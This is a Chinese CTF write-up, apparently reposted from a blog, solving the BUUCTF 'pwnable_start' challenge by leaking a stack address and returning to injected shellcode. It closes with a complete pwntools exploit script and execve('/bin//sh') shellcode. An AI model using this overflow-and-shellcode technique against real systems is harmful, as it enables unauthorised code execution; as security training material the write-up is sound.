BUUCTF--pwnable_start1

2024-01-07 22:56:18

查看保护:


32位程序保护全没开,黑盒测试下效果:


存在栈溢出,那么这题的想法就是直接ret2shellcode了。IDA中看看具体流程:


出奇的少,这题不能看反汇编的代码,直接去看汇编:


主要就2个功能,通过系统调用来执行读写功能,将字符串Let's start the CTF:输出,然后接收用户输入。我们看到注释下标注了长度为0x14。也就是我们能刚好覆盖到返回地址,但是我的shellcode有0x18个字节。根本不够执行完全部,而且目前没有有用的信息来让我ret2stack。因此我们要去调试看看能不能利用什么信息:


我们观察在代码的最开始,会将一个esp压入栈中,紧接着栈的布局将变成如此:


5个a是我输入的测试数据。ecx将和esp将指向用户输入数据的起始位置。此时esp要索引到返回地址,将直接执行add esp,14h。执行完后esp将指向旧的esp:


而且我们惊奇的发现,这两个值相差0x4,因此我们需要通过write函数将他泄露出来,紧着这我们的返回地址就有了,步骤shellocode就是要返回到布局的栈地址处执行。原理我讲明白了,直接上exp:

from pwn import *
context.log_level = 'debug'
context.arch = 'i386'
 
io = process('./start')
#io = remote('node5.buuoj.cn',28971)
gdb.attach(io)
io.recv()
mov_ecx_esp = 0x8048087
payload1 = b'a'*0x14 + p32(mov_ecx_esp)
io.send(payload1)

leak_stack_addr = u32(io.recv(4))
cur_esp = leak_stack_addr+0x14
print(hex(leak_stack_addr))
payload2 = b'a'*0x14 + p32(cur_esp)
shellcode ='''
xor eax,eax
xor edx,edx
push edx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
mov al,0xb
int 0x80                
'''

shellcode=asm(shellcode)

print(len(shellcode))
payload2 += shellcode
io.send(payload2)
pause()
#gdb.attach(io)
io.interactive()

文章来源:https://blog.csdn.net/qq_30528603/article/details/135429215
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。